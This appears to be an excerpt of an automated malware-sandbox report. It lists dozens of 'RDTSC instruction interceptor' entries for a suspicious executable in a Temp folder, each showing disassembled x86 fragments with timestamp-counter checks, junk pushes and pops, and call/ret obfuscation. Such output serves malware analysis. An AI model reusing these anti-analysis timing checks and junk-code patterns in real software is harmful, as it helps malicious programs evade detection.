Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CE80E second address: 1CE888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edx, dword ptr [ebp+122D3A9Bh] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F28E4D0ABB8h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b cld 0x0000002c push A07CDF42h 0x00000031 jns 00007F28E4D0ABBEh 0x00000037 add dword ptr [esp], 5F83213Eh 0x0000003e mov dl, al 0x00000040 mov si, 8A92h 0x00000044 push 00000003h 0x00000046 mov cx, si 0x00000049 push 00000000h 0x0000004b push edi 0x0000004c xor dword ptr [ebp+122D1C3Fh], edx 0x00000052 pop edi 0x00000053 push 00000003h 0x00000055 mov dword ptr [ebp+1243F81Fh], edi 0x0000005b call 00007F28E4D0ABB9h 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 pop edx 0x00000065 pop eax 0x00000066 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CE888 second address: 1CE8CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F28E4BE583Ah 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 jns 00007F28E4BE583Ch 0x0000001e pop eax 0x0000001f mov eax, dword ptr [eax] 0x00000021 jnc 00007F28E4BE5843h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1CE8CB second address: 1CE8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F008F second address: 1F00C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F28E4BE5836h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e jc 00007F28E4BE5836h 0x00000014 ja 00007F28E4BE5836h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F28E4BE5844h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F00C2 second address: 1F00EF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F28E4D0ABC9h 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F28E4D0ABB6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EDEBF second address: 1EDEEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE583Fh 0x00000009 popad 0x0000000a jmp 00007F28E4BE5848h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EE06D second address: 1EE094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jno 00007F28E4D0ABB6h 0x00000010 pop edx 0x00000011 pushad 0x00000012 jne 00007F28E4D0ABB6h 0x00000018 push esi 0x00000019 pop esi 0x0000001a jmp 00007F28E4D0ABBCh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EE094 second address: 1EE0A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE583Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EE249 second address: 1EE25D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F28E4D0ABB6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F28E4D0ABB6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EE25D second address: 1EE261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EE957 second address: 1EE967 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F28E4D0ABB6h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EEC51 second address: 1EEC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F28E4BE5843h 0x0000000b jmp 00007F28E4BE5845h 0x00000010 jmp 00007F28E4BE583Ch 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EEC8C second address: 1EECA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4D0ABBCh 0x00000009 jnp 00007F28E4D0ABB6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EECA2 second address: 1EECA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EEDF1 second address: 1EEE00 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1EEE00 second address: 1EEE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1BCBA0 second address: 1BCBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1BCBA6 second address: 1BCBAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F880C second address: 1F8814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F8814 second address: 1F8826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F28E4BE5836h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F8826 second address: 1F882B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F882B second address: 1F8832 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F8832 second address: 1F8842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F8842 second address: 1F8849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F8849 second address: 1F886F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F28E4D0ABB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F28E4D0ABC6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F721F second address: 1F7230 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F7230 second address: 1F7234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F7234 second address: 1F7243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F28E4BE5836h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F89B7 second address: 1F89BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1F8B0D second address: 1F8B28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5847h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FD0AA second address: 1FD0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FD0B1 second address: 1FD0C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F28E4BE5836h 0x0000000a jmp 00007F28E4BE583Ah 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FD0C5 second address: 1FD0C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FD0C9 second address: 1FD0D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F28E4BE5836h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FD0D9 second address: 1FD0DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FC4BE second address: 1FC4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F28E4BE5836h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FC4C8 second address: 1FC4FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F28E4D0ABC1h 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FC4FC second address: 1FC51C instructions: 0x00000000 rdtsc 0x00000002 je 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F28E4BE583Ch 0x00000013 jbe 00007F28E4BE5836h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FC51C second address: 1FC520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FC7A8 second address: 1FC7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F28E4BE5841h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FCC69 second address: 1FCCD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABC9h 0x00000009 jmp 00007F28E4D0ABC1h 0x0000000e popad 0x0000000f jmp 00007F28E4D0ABC8h 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F28E4D0ABB6h 0x0000001d pop edx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F28E4D0ABC8h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FE69E second address: 1FE6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FE720 second address: 1FE724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FEE68 second address: 1FEE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FF3D9 second address: 1FF3F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F28E4D0ABB8h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FF70C second address: 1FF712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FF712 second address: 1FF716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 1FFAD8 second address: 1FFADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 200094 second address: 2000ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007F28E4D0ABBEh 0x0000000d nop 0x0000000e sub dword ptr [ebp+1243F0DEh], edi 0x00000014 push 00000000h 0x00000016 adc edi, 2AC43CDEh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F28E4D0ABB8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 xor dword ptr [ebp+122D2CDEh], edx 0x0000003e mov dword ptr [ebp+122D2CDEh], esi 0x00000044 push eax 0x00000045 pushad 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2000ED second address: 200107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F28E4BE5842h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 202A3C second address: 202A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABC3h 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 202A57 second address: 202A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 202FCA second address: 203061 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F28E4D0ABC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F28E4D0ABC1h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F28E4D0ABB8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e xor dword ptr [ebp+124490E1h], esi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 call 00007F28E4D0ABB8h 0x0000003e pop esi 0x0000003f mov dword ptr [esp+04h], esi 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc esi 0x0000004c push esi 0x0000004d ret 0x0000004e pop esi 0x0000004f ret 0x00000050 mov edi, dword ptr [ebp+122D35E6h] 0x00000056 mov edi, dword ptr [ebp+122D3803h] 0x0000005c xchg eax, ebx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 jne 00007F28E4D0ABB6h 0x00000066 pop eax 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20126B second address: 201271 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 201271 second address: 201277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 201277 second address: 20127B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 204491 second address: 204496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 204496 second address: 2044B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F28E4BE5845h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2044B0 second address: 2044C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F28E4D0ABBCh 0x00000010 jc 00007F28E4D0ABB6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2044C6 second address: 20453E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5844h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a clc 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F28E4BE5838h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007F28E4BE5849h 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D3917h], eax 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 jmp 00007F28E4BE5843h 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20453E second address: 204544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 204544 second address: 204551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 204551 second address: 20456C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 205026 second address: 20502C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 20502C second address: 205030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2064CF second address: 2064D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2064D4 second address: 2064D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	RDTSC instruction interceptor: First address: 2064D9 second address: 2065A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F28E4BE5836h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F28E4BE5849h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F28E4BE5838h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov edi, ecx 0x00000030 mov dword ptr [ebp+122D26DEh], ecx 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D181Bh], edx 0x0000003e jmp 00007F28E4BE583Bh 0x00000043 push 00000000h 0x00000045 push 00000000h 0x00000047 push ecx 0x00000048 call 00007F28E4BE5838h 0x0000004d pop ecx 0x0000004e mov dword ptr [esp+04h], ecx 0x00000052 add dword ptr [esp+04h], 00000016h 0x0000005a inc ecx 0x0000005b push ecx 0x0000005c ret 0x0000005d pop ecx 0x0000005e ret 0x0000005f mov edi, dword ptr [ebp+122D2E35h] 